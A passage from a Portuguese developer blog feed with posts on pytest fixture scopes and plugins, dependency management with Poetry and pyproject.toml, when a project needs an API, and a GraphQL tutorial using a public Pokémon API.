Para visualizar o resultado dos print, é preciso executar o pytest com o parâmetro -s
Note que esse é outro exemplo bobo (:

Já que temos o comportamento do setUp, conseguimos ter o tearDown? Sim! Com um yield dentro da fixture, você consegue "agendar" código a ser executado como parte do off-load da mesma:

@pytest.fixture(scope="class")
def x_and_y(request):
    print("Class fixture")
    request.cls.x = 1
    request.cls.y = 1
    yield
    print("Tearing things down!!!")

Uma vez que fica claro o funcionamento dos scopes, os três restantes são quase intuitivos:

Module: Executa a fixture por módulo;
Package: Executa a fixture por pacote;
Session: Cada vez que você executa o Pytest.

Para fins didáticos, vamos utilizar outro argumento na construção das fixtures que exemplificarão como esses escopos funcionam. Estamos falando do autouse, e sem nenhuma surpresa, ele faz a fixture ser executada automaticamente:

@pytest.fixture(scope="module", autouse=True)
def saying_hello_per_module():
    print("Module fixture")


@pytest.fixture(scope="package", autouse=True)
def saying_hello_per_package():
    print("Package fixture")


@pytest.fixture(scope="session", autouse=True)
def saying_hello_per_session():
    print("Session fixture")

Agora com o pytest -s, podemos ver na prática o que acontece:

$ pytest -s

(...)

tests/test_my_calc.py Session fixture
Package fixture
Module fixture
Class fixture
.Function fixture
.Function fixture
.Tearing things down!!!

Baterias inclusas + plugins == sucesso!

Há muitos outros conceitos por trás do Pytest. Do arquivo conftest.py ao @parametrize, você vai encontrar funcionalidades incríveis que aumentarão a sua produtividade escrevendo testes.

E quando adicionamos os plugins do Pytest à equação, tudo fica mais divertido. Para começar, se você está escrevendo testes em Django e quer utilizar Pytest, o pytest-django é mais que obrigatório. Ele resolverá tudo o que precisa-se resolver (banco de dados, sessões, transações, etc) out of the box.

Outros grande plugins são:

pytest-bdd: BDD sem precisar de outro test runner
pytest-cov: Relatório de test coverage
pytest-freezegun: Congele o tempo com essa integração com o Freezegun
pytest-instafail: Mostra falhas e erros antes do fim da sessão de testes
pytest-socket: Previna network calls indesejadas
pytest-sugar: Progress bar e uma melhor visualização de falhas e erros
pytest-xdist: Paralelize a execução dos testes

A lista é imensa, e garanto que há um plugin por aí pronto para resolver os seus problemas.

Considerações finais

O Pytest faz parte daquele seleto grupo de bibliotecas que instalamos imediatamente após iniciar um projeto. É rico, poderoso, flexível, e faz do desenvolvimento orientado a testes uma experiência muito mais satisfatória, do que com a opção utilizando a standard lib.

Atualmente na Son of a Tailor, estamos aumentando o nosso coverage e gradativamente adotando as baterias inclusas do Pytest. Todos os testes, no entanto, utilizam a django.tests.TestCase. Mesmo assim, fomos capazes de trocar o test runner para o Pytest, e tirar proveito de seus plugins.

Sem nenhum problema.

Até a próxima!

Referências

Poesia pythonista com Poetry

Wed, 30 Dec 2020 07:00:00 GMT

O pip tem dado passos importantes em relação à sua evolução, sendo um dos mais notórios deles a adoção por padrão de backtracking. Ainda assim, por suas atribuições serem exclusivamente de um gerenciador de dependências, ele pode deixar um gostinho de "quero mais" no seu flow de desenvolvimento. E é nessas necessidades não atendidas que algumas opções se apresentam como alternativas/complementos ao simpático utilitário de linha de comando.

O Pipfile é uma delas, e já falamos sobre no "Tchau, requirements. Olá, Pipfile!". Demorou um pouco, mas hoje vamos falar do seu concorrente direto, o Poetry.

Determinismo é só o começo

I built Poetry because I wanted a single tool to manage my Python projects from start to finish. I wanted something reliable and intuitive that the community could use and enjoy.

Essas são as palavras do criador do Poetry, Sébastien Eustace. O mesmo argumento usado no artigo sobre Pipfile, acerca de build determinístico, se sustenta aqui. E assim como o Pipenv, há uma camada extra de funcionalidades que "adoçam" o build e o controle de virtualenvs.

Não há razão para flamewar entre pip x {pipenv, poetry} (freethinkingministries.com)

A sua instalação pode ocorrer de maneiras diferentes, dependendo do SO que você estiver utilizando. Portanto, uma visita à sua documentação é essencial. Ainda assim, nada que o pip (que ironia) não resolva:

$ pip install --user poetry

Para compreender como a ferramenta funciona de fato, vamos seguir os mesmos passos do getting started da documentação oficial:

$ poetry new poetry-demo
$ cd poetry-demo/
$ ls
README.rst     poetry_demo    pyproject.toml tests

Aqui nos deparamos com a primeira peculiaridade: o arquivo pyproject.toml.

Pyproject? TOML?

O pip utiliza o requirements.txt, o Pipenv utiliza o Pipfile e Pipfile.lock, e o Poetry o pyproject.toml e poetry.lock. Todos os arquivos citados são utilizados pelas respectivas ferramentas de controle de pacotes para gerenciar atualizações e instalar novas dependências.

O TOML (Tom's Obvious, Minimal Language) é um formato utilizado para a escrita de arquivos de configuração. Segundo o site oficial:

TOML aims to be a minimal configuration file format that's easy to read due to obvious semantics. TOML is designed to map unambiguously to a hash table. TOML should be easy to parse into data structures in a wide variety of languages.

Se você já conhece o Pipfile, a sintaxe utilizada no arquivo é a mesma. Mas qual é a motivação por trás do arquivo pyproject?

Senta que lá vem a história.

Antes do ano de 1998 havia o vazio, quando o assunto era empacotamento em Python. A partir dos anos 2000, instalar, buildar, ou distribuir pacotes começou a ganhar um novo sentido através da inserção da biblioteca distutils ao standard lib, e da convenção de uso do entrypoint setup.py.

Overview do workflow de desenvolvimento Python (py-generic-project.readthedocs.io)

Quatro anos depois, somos apresentados ao setuptools, que introduz o pacote no formato egg e a possibilidade de declarar e instalar dependências. Já em 2008, o pip é lançado como uma alternativa aprimorada ao seu primo mais velho, o easy_install, que possibilitava a instalação de pacotes consultando um índice centralizado na internet, chamado Python Package Index (pypi).

E após indas e vindas (e um novo formato, chamado "wheel"), em 2014 o pip e o setuptools viram finalmente o padrão para empacotamento em Python.

Confira a timeline completa no Packaging History.

O ovo ou a galinha?

A PEP 518 é quem apresenta o arquivo pyproject.toml. Segundo Brett Cannon, criador da proposta:

(...) the purpose of PEP 518 was to come up with a way for projects to specify what build tools they required. That's it, real simple and straightforward.

Antes dela, não havia uma forma (prática) de dizer quais ferramentas de build que um projeto requer para gerar um pacote wheel. Embora o setuptools possua um argumento setup_requires para este fim, você não consegue ler esse parâmetro sem antes ter o próprio setuptools instalado, e não havia um lugar onde você pudesse especificar que precisa do setuptools para ler a configuração dentro do setuptools (notou o problema do ovo-galinha?).

E como vivemos até então sem nos preocupar com esse problema? Simples! Ferramentas como o próprio pip injetam o setuptools e o wheel quando executando um arquivo setup.py.

E se então tivéssemos um lugar para dizer ao pip sobre a necessidade dessas ferramentas?

# pyproject.toml

[build-system]
requires = ["setuptools >= 40.6.0", "wheel"]
build-backend = "setuptools.build_meta"

Booomm!!! Se amanhã alternativas mais interessantes ao setuptools ou pip aparecerem, estaremos preparados.

E o que o Poetry tem a ver com isso?

O Poetry declara qual será o build backend através da utilização das PEPs 518 (citada acima) e 517:

# pyproject.toml

[tool.poetry]
name = "poetry-demo"
version = "0.1.0"
description = ""
authors = ["Klaus Laube <mail@mail.com>"]

[tool.poetry.dependencies]
python = "^3.7"

[tool.poetry.dev-dependencies]
pytest = "^5.2"

[build-system]
requires = ["poetry-core>=1.0.0"]
build-backend = "poetry.core.masonry.api"

O cliente, também instalado através do pip install anterior, sabe se comunicar com o poetry.core, explicitamente declarado na seção [build-system].

E com isso o Poetry não apenas cuidará das dependências do seu projeto, como também se responsabilizará por buildar o seu app ou lib, e distribuí-lo no Python Package Index.

Continuando a poesia

Para adicionar uma dependência ao projeto, passamos a utilizar o comando poetry add:

$ poetry add django

Com isso, o Django passa a ser adicionado ao "requirements":

# pyproject.toml

...

[tool.poetry.dependencies]
python = "^3.7"
Django = "^3.1.4"

...

Por consequência um arquivo poetry.lock foi criado, e é ele quem garantirá o determinismo durante a instalação de dependências do projeto:

$ poetry install

Installing dependencies from lock file

Outra consequência do comando add foi a criação automática de um virtualenv. Agora, através do comando poetry run, podemos executar dependências Python diretamente do ambiente virtual:

$ poetry run django-admin.py -h

Ou ainda através do comando shell:

$ poetry shell
$ which django-admin.py
/Users/klauslaube/Library/Caches/pypoetry/virtualenvs/poetry-demo-IqTsQBT7-py3.9/bin/django-admin

Note que em um ambiente diferente de development, talvez você precise do parâmetro --no-root:

$ poetry install --no-root

Conclusão

Há cerca de 3 meses eu retornei do Java ao Python, e tinha esquecido (ou nunca de fato notado) o quão não intuitivo é a dança entre pyenv, virtualenv e pip.

Nisso, tanto Pipenv quanto Poetry são fenomenais. O Pipenv leva certa vantagem, uma vez que é capaz de gerenciar até mesmo a versão do Python (com Poetry, ainda necessitamos do pyenv).

Aparentemente há planos do pip suportar um argumento --pipfile, o que faria do Pipfile (e por consequência Pipenv) uma opção ainda mais atraente que o concorrente.

Mas tenho certeza que o Poetry será uma mão na roda caso você esteja escrevendo libs.

Até a próxima.

Referências

Você precisa de uma API?

Fri, 09 Oct 2020 06:00:00 GMT

Nos últimos anos tenho advogado em prol do API-First. Não apenas por acreditar nos impactos econômicos que a prática pode apresentar, como também nos benefícios de arquitetura, organização e integração. Sem falar no "supracitado" Developer eXperience, que vem quase que embutido ao realizar o design de suas APIs antes mesmo de implementá-las.

Como nem tudo em desenvolvimento pode ser considerado "bala de prata" (estou olhando para você, microservices), o propósito desse artigo é estressar a motivação por trás da construção de uma API.

O que é uma API?

Segundo Tyler Elliot:

In general, APIs define the rules that programmers must follow in order to interact with a programming language, a software library, or any other software tool. Lately though, the term API is most often used to describe a particular kind of web interface. These Web APIs are a set of rules for interacting with a webserver (such as a Salesforce server), with the most common use case being data retrieval.

Uma máquina normalmente consome uma API. Já uma pessoa, geralmente, uma interface visual (callr.com)

Em outras palavras, você acessa o Gmail diariamente do seu browser através da interface web. Porém, integrações com outras máquinas são realizadas através de APIs.

Na verdade, mesmo o Gmail aberto em seu navegador depende de APIs para funcionar. Possivelmente as mesmas APIs que alimentam a app mobile do próprio Google, ou clientes terceiros (como o Mail, da Apple).

Mashup, SaaS, e economia

E o primeiro argumento gira em torno dessa oportunidade de integrações e negócios com terceiros.

O termo Mashup ganhou popularidade após a Web 2.0 (entreguei a idade nessa referência) transformar a forma como a web era desenvolvida. Mashups são APIs, websites ou serviços que misturam diferentes fontes afim de entregar uma solução. Um bom exemplo de mashup é a interface de busca do Airbnb, integrada ao Google Maps.

Na interface web, no desktop, é possível buscar por proximidade e ter auxílio do Google Maps para encontrar um lugar

Integrações com terceiros fazem parte do cotidiano dos desenvolvedores web, e não é raro tais integrações se materializarem na forma de APIs. Além disso, o conceito de "Software Como Serviço" (SaaS) está amplamente estabelecido no mercado, e há uma certa expectativa que o seu produto possua algumas de suas características.

Oras! Você já é um desenvolvedor web, desenvolvendo para a nuvem. O que te custa fazer disso um serviço e disponibilizar alguns endereços para que um cliente conecte-se com a sua solução?

Diferenças e similaridades entre SaaS e SOA (tecnetit.com.br)

E aqui é possível enxergar que além da técnica em relação à integrações, há um fator econômico que precisa ser levado em consideração. Jennifer Riggins, no How To Design Great APIs With API-First Design, explora um pouco mais dessa vertente. Mas uma das melhores definições vem do pessoal da MuleSoft:

The innovative power of APIs has led to the realization that APIs can be a critical component of enterprise solutions that impact the operational bottom line, contributing to efficiencies, growth, and innovation. That, in turn, has created the API economy, which is loosely defined as the way APIs can positively affect an organization's profitability.

Portanto, se você estiver construindo um produto onde tais integrações podem ser um novo canal de distribuição (ou até mesmo o principal canal de distribuição), ter uma API faz todo o sentido.

Em contrapartida...

Embora seja de conhecimento público que a Netflix utilize microsserviços (e os serviços possuam APIs para uso interno), a "locadora vermelha" não possui API pública (até o momento da escrita desse artigo). E esse exemplo pode servir como argumento para ilustrar que nem tudo precisa ser concebido com uma ideia de integração desde o seu princípio.

No entanto, assim como no exemplo do Gmail, para entregar um conteúdo de forma coesa para tantos clientes diferentes (TV, mobile, web, etc), há uma necessidade técnica que fortalece o argumento do uso de protocolos de comunicação.

Front-end x Mobile x Back-end

No caso do Gmail, por exemplo, o protocolo POP seria o suficiente para conectar um cliente com o servidor, afim de ler os e-mails. Ao falarmos de soluções web, e portanto, funcionando sobre a camada HTTP, esse tipo de interação é comumente efetuada através de APIs REST.

Full-stack ou Fool-stack? (quora.com)

Há nem tanto tempo atrás, full-stack developers eram comuns no mercado de desenvolvimento web. Soluções eram basicamente HTMLs sendo entregues com a interface tendo apenas intervenções de Javascript para enriquecer a experiência.

Com os navegadores evoluindo cada vez mais, as interfaces web ficando cada vez mais complexas, e demandas nos domínios de front-end e back-end exigindo maior especialidade; Hoje o padrão de mercado é encontrarmos desenvolvedores especializados em front-end, ou em back-end, ou até mesmo mobile.

Full-stack developers são considerados "unicórnios", e por mais que eu tenha passado a maior parte da minha carreira como um, admito que hoje em dia é muito difícil ficar nessa posição e manter-se atualizado com as novidades e tendências (principalmente no mercado front-end).

Deixa eu pegar esse pergaminho aqui que cita tecnologias usadas para construir interfaces ricas para a internet (dotcom-monitor.com)

Portanto, é bem provável que o time de front-end do seu projeto adote React ou Vue.js, e demande do time de back-end algumas APIs (REST ou não) para que possam entregar conteúdo dinâmico ao usuário final. É certo que essa demanda acontecerá se, por exemplo, o seu produto tiver uma versão mobile nativa.

Em contrapartida...

Há um debate em torno de especialidades e do papel de um full-stack. David Humphrey sugere que nessa condição, deveríamos ser capazes de "subir ou descer", e oferecer ajuda, independente da expertise em cada nível de uma stack:

(...) is not about becoming an expert at every level of the stack. Rather, its goal is to erase the boundary between the levels such that you can reach up or down in order to offer help, even if that help is only to offer a kind word of encouragement when the problem is particularly hard: these are our problems, after all.

Outro argumento gira em torno do excesso de complexidade que virou desenvolver (qualquer coisa) para a web.

Com um time multidisciplinar, é possível que você não precise confiar em uma API para conectar as duas especialidades, e com o bom e velho modo de fazer web (por exemplo, Django entregando HTML) seu time seja capaz de entregar um produto (ainda assim) interessante.

Pela graça da piada, deixo esse meme para mexer com o seu brio (devrant.com)

Só para não parecer um post "anti-SPA" ou "anti-React", faço das palavras de Tom MacWright as minhas:

I don’t think that everyone’s using the SPA pattern for no reason. For large corporations, it allows teams to work independently: the “frontend engineers” can “consume” “APIs” from teams that probably work in a different language and can only communicate through the hierarchy. For heavily interactive applications, it has real benefits in modularity, performance, and structure. And it’s beneficial for companies to shift computing requirements from their servers to their customers browsers: a real win for reducing their spend on infrastructure.

Se você acha que sua empresa ou produto não se encaixa nos critérios levantados na citação a cima, HTML renderizado no server side, com pitadas de Javascript, ainda é uma realidade.

Microservices

Microservices foi uma das ondas que sacudiu o mundo do desenvolvimento back-end recentemente. O conceito de computação distribuída não é novo, mas com a popularização de ferramentas como Kubernetes e Docker, fica difícil resistir à tentação de mover toda uma solução para microsserviços.

O portal da Red Hat define a arquitetura da seguinte forma:

Microsserviços são uma abordagem de arquitetura para a criação de aplicações. O que diferencia a arquitetura de microsserviços das abordagens monolíticas tradicionais é como ela decompõe a aplicação por funções básicas. Cada função é denominada um serviço e pode ser criada e implantada de maneira independente. Isso significa que cada serviço individual pode funcionar ou falhar sem comprometer os demais.

As vantagens são numerosas, dentre elas:

Habilidade de escalar horizontalmente qualquer um de seus componentes;
Serviços são independentes. O que significa maior liberdade de desenvolvimento;
A arquitetura é plugável, permitindo maior flexibilidade no gerenciamento de serviços internos e externos.

Uma arquitetura baseada em microsserviços fatalmente te levará a construir APIs. Embora haja outras formas de fazer com que os serviços dentro da mesma se comuniquem, APIs REST são a forma mais comum para esse tipo de comunicação.

Uma visão muito simplista de uma arquitetura baseada em microsserviços (jaxenter.com)

Não importando se as APIs serão públicas ou privadas (como no exemplo do Netflix), a sua necessidade é clara. Mais que isso, elas são partes fundamentais da arquitetura em si, e proporcionam o tipo de interface e abstração que faz com que a arquitetura de microsserviços fique cada dia mais popular, principalmente em empresas com uma grande quantidade de desenvolvedores e projetos.

Em contrapartida...

Você não é o Netflix. Ou o Google. Ou o Uber. Nas palavras de David Heinemeier Hansson, microservices é:

(...) a great pattern. No, really. Not being sarcastic here. If you’re Amazon or Google or any other software organization with thousands of developers, it’s a wonderful way to parallelize opportunities for improvement. Each service can be its own team with its own timeline, staff, and objectives. It can evolve independently, at least somewhat, of whatever else the rest of the constellation is doing.

Todos os prós de utilizar microsserviços vêm com um preço, e reverter essa decisão não costuma ser uma das experiências mais prazerosas, como descreve Thomas Betts, no To Microservices and Back Again - Why Segment Went Back to a Monolith.

Tive a oportunidade de trabalhar por dois anos em uma empresa que utiliza esse tipo de arquitetura, e confesso que o isolamento do teu domínio, juntamente com a flexibilidade e controle sobre o que você está executando e entregando, é incrível. Mas sem um time de DevOps para dar o devido suporte, não consigo nem imaginar o quão traumática essa experiência poderia ser.

Todo o buzz em volta de SOA e microservices fez com que automaticamente aplicações monolíticas passassem a ser "o que há de pior na sua stack". Se ontem lemos um artigo sobre todo o lore dos microsserviços, amanhã estamos com um serrote desmembrando um monolito, e no fim do dia a motivação era porque não aguentamos mais lidar com conflitos no Git.

Se APIs for pura e simplesmente um efeito colateral da decisão de "provar" o mundo dos microsserviços, eu volto a citar o DHH:

Run a small team, not a tech behemoth? Embrace the monolith and make it majestic. You Deserve It!

Agora, se microservices é a resposta para os seus problemas, API FTW!

Considerações finais

A motivação para esse artigo veio depois de uma palestra que dei sobre API-First, no DjangoDay 2020. Nos corredores, conversei com alguns participantes do evento e sob a ótica deles eu pude ter um vislumbre do quão "desconfortável" pode ser a adoção de um processo mais rígido visando a sua prática.

Em um dos diálogos, a analogia com TDD e test-first apareceu. E se por um lado ela pode ser encarada como algo positivo, por se referir a uma excelente ferramenta de design e engenharia de software; Por outro me fez refletir sobre todo o esforço e frustração que tenho até hoje em praticar test-first (o que não me impede de ter cobertura de testes, e utilizar testes como ferramenta de design de código).

No final, é tudo uma questão de contexto (e do famigerado "depende"). APIs nem sempre fazem parte da necessidade de projeto em seu início, mas passam a ser depois de alguns sprints e descobertas que o time vai fazendo. Portanto, dependendo do ponto específico no tempo em que seu projeto esteja, você não precisa de uma API.

E está tudo bem! Lembre-se que YAGNI é um bom padrão para se ter embaixo do braço.

Referências

Além do REST com GraphQL

Wed, 01 Jul 2020 17:17:00 GMT

Construir APIs virou uma das coisas mais comuns no que tange o desenvolvimento web. Não obstante, escolher uma biblioteca ou framework com bom suporte a REST é parte fundamental da tomada de decisão ao iniciar um projeto.

Em tempos de API-First, debater arquitetura, design, e considerar opções deve fazer parte da concepção de um produto (por mais "padrãozinho" que ele possa parecer). E nessa etapa, questionar a adoção do REST pode resultar em impactos positivos, dependendo do contexto e público alvo.

Grafos! Grafos everywhere! (sitepoint.com)

Uma das alternativas é o GraphQL. E agora, com o hype ao redor da tecnologia um pouco mais frio, dá para falar sobre ela com menos paixão e mais razão.

Antes de ir: O que é REST, mesmo?

Para a comparação ficar mais rica, é fundamental que haja um entendimento sobre o que é REST. Já exploramos o conceito nos dois artigos abaixo:

Ou se você preferir, o artigo na Wikipedia é uma referência bem completa.

O que é GraphQL?

Bom, definitivamente não é mais um framework Javascript. E dizer que é unicamente um query language é uma afirmação incompleta.

Segundo Adriano Lisboa:

Resumidamente, GraphQL é uma especificação open-source de uma linguagem de consulta criada pelo Facebook.

Hoje mantido pela GraphQL Foundation, sob a licença OWFa 1.0, o GraphQL não só é uma linguagem de consulta, como também de manipulação.

É possível fazer uma analogia ao SQL (Linguagem de Consulta Estruturada), que também é uma especificação que possui diferentes implementações, e que realiza consulta e manipulação de dados. Só que ao contrário (das implementações) do SQL, o GraphQL não é um banco de dados em si, como ilustra o How to GraphQL:

GraphQL is often confused with being a database technology. This is a misconception, GraphQL is a query language for APIs - not databases. In that sense it’s database agnostic and effectively can be used in any context where an API is used.

E por ser uma linguagem de consulta para APIs, que ela se encaixa como uma alternativa ao REST.

Qual a sua principal vantagem em relação ao REST?

Um dos problemas fundamentais do REST é a flexibilidade do dado sendo transmitido. Quando diferentes clientes, com diferentes necessidades, começam a consumir a sua API, é possível que você enfrente um fenômeno conhecido por over-fetching e under-fetching:

over-fetching: É quando você está recebendo dados demais, não necessários para o seu propósito, em sua requisição;
under-fetching: O oposto. Quando você não recebe dados o suficiente, e precisa realizar outras chamadas para cumprir o seu propósito.

Imagine uma aplicação com a necessidade de exibir o perfil do usuário, seus artigos e seguidores, em uma mesma visualização (howtographql.com)

Já com a flexibilidade do GraphQL, é possível obter toda a informação necessária através de uma consulta, como ilustrado no diagrama abaixo:

Através de uma requisição HTTP, o cliente é capaz de obter os dados na medida certa (howtographql.com)

Vale lembrar que existe complementos ao REST que possibilitam uma maior flexibilidade do payload (como por exemplo, passar quais campos você quer coletar através de query string), ainda assim é necessário salientar a legibilidade e até mesmo elegância da consulta realizada no exemplo acima.

Leia sobre outras vantagens do GraphQL em comparação ao REST.

Qual a sua principal desvantagem em relação ao REST?

"Cada escolha uma renúncia", já dizia o poeta.

O GraphQL não é bala de prata, e possui desvantagens quando comparado ao REST. Essa thread no Stackoverflow lista algumas delas.

Talvez a mais popular seja a ausência de cache built-in. Com REST, por utilizarmos o protocolo HTTP, os mecanismos para caching já estão lá. Dos cabeçalhos utilizados para indicar caching à compreensão dos clientes. Diferentes recursos podem ter estratégias de caching diferentes, uma vez que eles são servidos em diferentes endpoints.

Com o GraphQL utilizamos apenas um endpoint. Portanto, precisamos implementar uma camada extra de caching. Nada impossível de ser alcançado, mas ainda assim, uma complexidade a mais.

Veja mais desvantagens em relação ao REST.

Falando GraphQL

Possivelmente a melhor forma de adicionar o GraphQL ao seu projeto é através de plataformas como o Apollo, ou com a utilização de bibliotecas, como é o caso (para servers em Django) da graphene-django e (para clients em Javascript) da Relay.

Exemplo de arquitetura GraphQL e Serverless com Apollo-Server-Lambda (serverless.com)

Por tratar-se de uma especificação, implementações existirão para diferentes linguagens, arquiteturas, e fins (o próprio Gatsby é um bom exemplo).

Não vamos focar em como desenvolver sua API com GraphQL, e sim em como utilizar a query language. Esse repositório no Github disponibiliza algumas APIs públicas na qual podemos utilizar para exercitar esse skill. A GraphQL Pokémon parece uma boa candidata para este momento do artigo.

Tipos

Partimos do princípio que queremos definir os tipos que serão servidos pela nossa API. O GraphQL possui uma sintaxe específica para definição de tipos chamada Schema Definition Language (SDL). No caso do exemplo do Pokémon, temos o seguinte:

type Pokemon {
  id: ID!
  number: String
  name: String
  weight: PokemonDimension
  height: PokemonDimension
  classification: String
  types: [String]
  resistant: [String]
  attacks: PokemonAttack
  weaknesses: [String]
  fleeRate: Float
  maxCP: Int
  evolutions: [Pokemon]
  evolutionRequirements: PokemonEvolutionRequirement
  maxHP: Int
  image: String
}

Veja o schema na íntegra.

Para quem já teve o mínimo contato com Swagger, a sintaxe acima não é estranha. A estrutura consiste em basicamente field: type. Onde em field damos o nome do campo, e type descrevemos o tipo.

Além dos tipos básicos (como String, ID, Int), temos estruturas mais complexas, como as listas [String] e [Pokemon]. PokemonDimension, PokemonAttack e PokemonEvolutionRequirement, são tipos customizados criados com a mesma sintaxe usada no próprio Pokemon. Por exemplo, na linha evolutions: [Pokemon], está expresso o relacionamento de um Pokemon para muitas evoluções (que tratam-se de outras "instâncias" do tipo Pokemon).

Por fim, vale notar o ! em ID, que anota o campo como required.

Consulta

Todas as queries abaixo podem ser reproduzidas na interface Pokémon GraphiQL. Ou ainda, se você preferir, através de API calls.

Para aquecer, vamos visualizar o schema:

{
  __schema {
    types {
      name
    }
  }
}

Ou utilizando o curl:

curl 'https://graphql-pokemon.now.sh/?' \
  -H 'content-type: application/json' \
  --data-binary '{"query":"{ __schema { types{ name } } }", "variables":null, "operationName":null}'

Como resultado teremos o seguinte:

{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "Query"
        },
        {
          "name": "Int"
        },
        {
          "name": "Pokemon"
        },
        {
          "name": "ID"
        },
        {
          "name": "String"
        },
        {
          "name": "PokemonDimension"
        },
        {
          "name": "PokemonAttack"
        },
        {
          "name": "Attack"
        },
        {
          "name": "Float"
        },
        {
          "name": "PokemonEvolutionRequirement"
        },
        {
          "name": "__Schema"
        },
        {
          "name": "__Type"
        },
        {
          "name": "__TypeKind"
        },
        {
          "name": "Boolean"
        },
        {
          "name": "__Field"
        },
        {
          "name": "__InputValue"
        },
        {
          "name": "__EnumValue"
        },
        {
          "name": "__Directive"
        },
        {
          "name": "__DirectiveLocation"
        }
      ]
    }
  }
}

Através do __schema descobrimos quais tipos são utilizados pelo servidor. Não muito útil para o propósito desse artigo, mas ainda assim, uma boa forma de olharmos pela primeira vez para uma resposta. Além do fato dela ser em JSON, repare o "envelopamento" do payload através da chave data.

Para compreender os tipos listados acima, podemos utilizar outra ferramenta de introspecção, chamada __type:

{
  __type(name: "ID") {
    name
    kind
  }
}

E como resposta, temos a descrição do tipo ID como SCALAR:

{
  "data": {
    "__type": {
      "name": "ID",
      "kind": "SCALAR"
    }
  }
}

Vamos listar todos os 151 Pokémons originais:

{
  pokemons(first: 151) {
    name
  }
}

A resposta será algo semelhante com o JSON abaixo:

{
  "data": {
    "pokemons": [
      {
        "name": "Bulbasaur"
      },

      (...)

      {
        "name": "Mew"
      }
    ]
  }
}

Com o parâmetro first, estamos solicitando todos os n primeiros resultados. Essa query é declarada na linha 88 do schema.graphql:

type Query {
  query: Query
  pokemons(first: Int!): [Pokemon]
  pokemon(id: String, name: String): Pokemon
}

Com o type Query estamos expressando quais serão as consultas que poderemos executar. Em pokemons, o atributo first é do tipo inteiro e obrigatório. A sua resposta será uma lista de instâncias do tipo Pokemon. É possível também requisitar um Pokémon através do seu id ou name, como explícito na instrução pokemon, dentro do bloco Query:

{
  pokemon(name: "Pikachu") {
    id
    number
    name
    weight {
      maximum
      minimum
    }
    height {
      maximum
      minimum
    }
    classification
    types
    resistant
    attacks {
      fast {
        name
        type
        damage
      }
      special {
        name
        type
        damage
      }
    }
    weaknesses
    fleeRate
    maxCP
    evolutions {
      id
      number
      name
    }
    evolutionRequirements {
      amount
      name
    }
    maxHP
    image
  }
}

E como resultado teremos todos os dados do nosso queridíssimo Pikachu.

Mutações

Além de requisitar informação, podemos também manusear dados. Isso é realizado através do conceito de Mutations.

Para esse exemplo vamos utilizar a GraphQL Jobs API, acessível através dessa interface.

Vamos dar subscribe na API, para que assim possamos receber propostas de empregos que envolvam GraphQL:

mutation {
  subscribe(input: { name: "<seu-nome>", email: "<seu-email>" }) {
    id
    name
    email
  }
}

Como resposta, temos um JSON com id, name e email:

{
  "data": {
    "subscribe": {
      "id": "ckc3r7uqs004w0725u5sf0g1o",
      "name": "John Doe",
      "email": "myamazingemail@mail.com"
    }
  }
}

Ok... Aqui pode ter ficado um pouco confuso. Vamos verificar quais Mutations temos disponíveis:

{
  __schema {
    mutationType {
      fields {
        name
        args {
          name
          type {
            kind
            ofType {
              name
              kind
              inputFields {
                name
                type {
                  ofType {
                    name
                  }
                }
              }
            }
          }
        }
        type {
          kind
          ofType {
            name
            fields {
              name
              type {
                kind
                ofType {
                  name
                }
              }
            }
          }
        }
      }
    }
  }
}

O resultado, de forma resumida, será o seguinte:

{
  "data": {
    "__schema": {
      "mutationType": {
        "fields": [
          {
            "name": "subscribe",
            "args": [
              {
                "name": "input",
                "type": {
                  "kind": "NON_NULL",
                  "ofType": {
                    "name": "SubscribeInput",
                    "kind": "INPUT_OBJECT",
                    "inputFields": [
                      {
                        "name": "name",
                        "type": {
                          "ofType": {
                            "name": "String"
                          }
                        }
                      },
                      {
                        "name": "email",
                        "type": {
                          "ofType": {
                            "name": "String"
                          }
                        }
                      }
                    ]
                  }
                }
              }
            ],
            "type": {
              "kind": "NON_NULL",
              "ofType": {
                "name": "User",
                "fields": [
                  {
                    "name": "id",
                    "type": {
                      "kind": "NON_NULL",
                      "ofType": {
                        "name": "ID"
                      }
                    }
                  },
                  {
                    "name": "name",
                    "type": {
                      "kind": "SCALAR",
                      "ofType": null
                    }
                  },
                  {
                    "name": "email",
                    "type": {
                      "kind": "NON_NULL",
                      "ofType": {
                        "name": "String"
                      }
                    }
                  },
                  {
                    "name": "subscribe",
                    "type": {
                      "kind": "NON_NULL",
                      "ofType": {
                        "name": "Boolean"
                      }
                    }
                  },
                  {
                    "name": "createdAt",
                    "type": {
                      "kind": "NON_NULL",
                      "ofType": {
                        "name": "DateTime"
                      }
                    }
                  },
                  {
                    "name": "updatedAt",
                    "type": {
                      "kind": "NON_NULL",
                      "ofType": {
                        "name": "DateTime"
                      }
                    }
                  }
                ]
              }
            }
          }
        ]
      }
    }
  }
}

A query ficou um pouco mais clara agora. A Mutation subscribe aceita um parâmetro com nome input, do tipo SubscribeInput. Esse, além de ser obrigatório (NON_NULL), possui dois campos: name e email. Isso explica a linha subscribe(input: { name: "<seu-nome>", email: "<seu-email>" }) {, na consulta anterior.

subscribe retorna um tipo User, também obrigatório. Esse tipo possui os campos id, name, subscribe, createdAt, e updatedAt. Como especificamos dentro do bloco subscribe os campos id, name, e email, esse é o resultado que obtemos no JSON de resposta. Que representa a subscription sendo efetuada, e meus dados como usuário sendo retornados.

Por baixo dos panos

Existem outros conceitos não explorados nesse artigo, como por exemplo as Subscriptions. O que pode estar confuso para você é como que o servidor interpreta o GraphQL, e coleta os dados para formar a resposta da requisição.

Será que conseguimos encontrar um emprego de detetive, para Pokémons, utilizando GraphQL? (www.geekgirlauthority.com/)

Comigo o "click" aconteceu depois de checar o código dos repositórios abaixo:

Não é feitiçaria...

Então devo adotar o GraphQL?

Possivelmente. E isso não significa necessariamente abandonar o REST.

A retórica do "GraphQL ser o substituto do REST", inclusive, foi um dos motivos do meu ceticismo em relação ao mesmo por muito tempo.

Uma das análises mais sóbrias que encontrei foi da ThoughtWorks, que categoriza o GraphQL como ASSESS (ou seja, recomendada a exploração para compreender como ele impactará o seu business):

We've seen many successful GraphQL implementations on our projects. We've seen some interesting patterns of use too, including GraphQL for server-side resource aggregation. That said, we've concerns about misuse of this framework and some of the problems that can occur. Examples include performance gotchas around N+1 queries and lots of boilerplate code needed when adding new models, leading to complexity. There are workarounds to these gotchas such as query caching. Even though it's not a silver bullet, we still think it's worth assessing as part of your architecture.

Se o seu produto compartilha do mesmo contexto do Facebook, de ter controle total do backend e do client (web e mobile), utilizar o GraphQL faz muito sentido. Ou ainda, se a sua motivação for de reduzir o número de chamadas HTTP, assim como foi a do Github, é um argumento completamente válido para a adoção da linguagem.

